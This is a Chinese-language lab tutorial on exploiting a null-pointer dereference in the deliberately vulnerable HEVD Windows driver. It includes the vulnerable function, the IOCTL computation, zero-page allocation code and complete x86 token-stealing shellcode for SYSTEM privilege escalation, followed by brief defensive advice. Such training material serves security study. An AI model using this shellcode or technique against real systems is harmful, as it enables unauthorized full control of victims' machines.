Windows Kernel Exploit(五) -> Null-Pointer-Dereference
字数 764 2025-08-04 08:17:33
Windows内核漏洞利用:空指针解引用漏洞分析与利用
0x00 漏洞概述
空指针解引用(Null-Pointer-Dereference)是Windows内核漏洞利用系列的第五部分,属于相对简单的内核漏洞类型。当指针值为NULL时被调用指向某块内存地址,就会产生空指针解引用漏洞。
0x01 漏洞环境准备
- 操作系统: Windows 7 x86 sp1虚拟机
- 调试工具: windbg(建议配合VirtualKD使用)
- 漏洞环境: HEVD + OSR Loader组合
0x02 漏洞原理分析
漏洞函数分析
分析HEVD.sys中的TriggerNullPointerDereference函数:
int __stdcall TriggerNullPointerDereference(void *UserBuffer) {
PNULL_POINTER_DEREFERENCE NullPointerDereference;
int result;
unsigned int UserValue;
ProbeForRead(UserBuffer, 8u, 4u);
NullPointerDereference = (PNULL_POINTER_DEREFERENCE)ExAllocatePoolWithTag(0, 8u, 0x6B636148u);
if (NullPointerDereference) {
// 打印池信息...
UserValue = *(_DWORD *)UserBuffer;
if (UserValue == 0xBAD0B0B0) {
NullPointerDereference->Value = 0xBAD0B0B0;
NullPointerDereference->Callback = (void(__stdcall *)())NullPointerDereferenceObjectCallback;
} else {
ExFreePoolWithTag(NullPointerDereference, 0x6B636148u);
NullPointerDereference = 0; // 指针被置NULL
}
// 漏洞点:未检查NullPointerDereference是否为NULL就直接调用
NullPointerDereference->Callback();
result = 0;
} else {
result = 0xC0000017;
}
return result;
}
安全与不安全版本对比
安全版本会检查指针是否为NULL:
if (NullPointerDereference) {
NullPointerDereference->Callback();
}
不安全版本直接调用:
NullPointerDereference->Callback(); // 可能解引用NULL指针
0x03 漏洞利用技术
控制码分析
在HackSysExtremeVulnerableDriver.h中定义的控制码:
#define HEVD_IOCTL_NULL_POINTER_DEREFERENCE IOCTL(0x80A)
计算实际控制码:
>>> hex((0x00000022 << 16) | (0x00000000 << 14) | (0x80A << 2) | 0x00000003)
'0x22202b'
零页内存构造
关键步骤是构造零页内存并将shellcode地址写入特定位置:
PVOID Zero_addr = (PVOID)1;
SIZE_T RegionSize = 0x1000;
// 申请零页内存
if (!NT_SUCCESS(NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&Zero_addr,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || Zero_addr != NULL) {
printf("[+]Failed to alloc zero page!\n");
return 0;
}
// 将shellcode地址写入0x4位置
*(DWORD*)(0x4) = (DWORD)&ShellCode;
Shellcode设计
提权shellcode需要注意堆栈平衡,避免蓝屏:
static VOID ShellCode() {
_asm {
pop edi
pop esi
pop ebx
pushad
mov eax, fs:[124h] // 获取当前线程的_KTHREAD结构
mov eax, [eax + 0x50] // 获取_EPROCESS结构
mov ecx, eax
mov edx, 4 // SYSTEM进程PID(4)
find_sys_pid:
mov eax, [eax + 0xb8] // 遍历进程活动链表
sub eax, 0xb8
cmp [eax + 0xb4], edx // 通过PID判断是否为SYSTEM
jnz find_sys_pid
// 替换Token
mov edx, [eax + 0xf8]
mov [ecx + 0xf8], edx
popad
ret
}
}
0x04 完整利用步骤
- 初始化:获取驱动设备句柄
- 零页分配:申请零页内存并写入shellcode地址
- 触发漏洞:调用
TriggerNullPointerDereference函数 - 提权:通过cmd验证提权效果
0x05 相关CVE参考
可参考类似漏洞:CVE-2018-8120
0x06 防御措施
- 始终在解引用指针前检查是否为NULL
- 使用安全函数和宏进行指针操作
- 启用内核ASLR等缓解措施
- 限制用户态对零页内存的访问权限
附录:关键数据结构
typedef struct _NULL_POINTER_DEREFERENCE {
DWORD Value;
void (__stdcall *Callback)();
} NULL_POINTER_DEREFERENCE, *PNULL_POINTER_DEREFERENCE;
通过以上详细分析,可以全面理解Windows内核空指针解引用漏洞的原理和利用方法。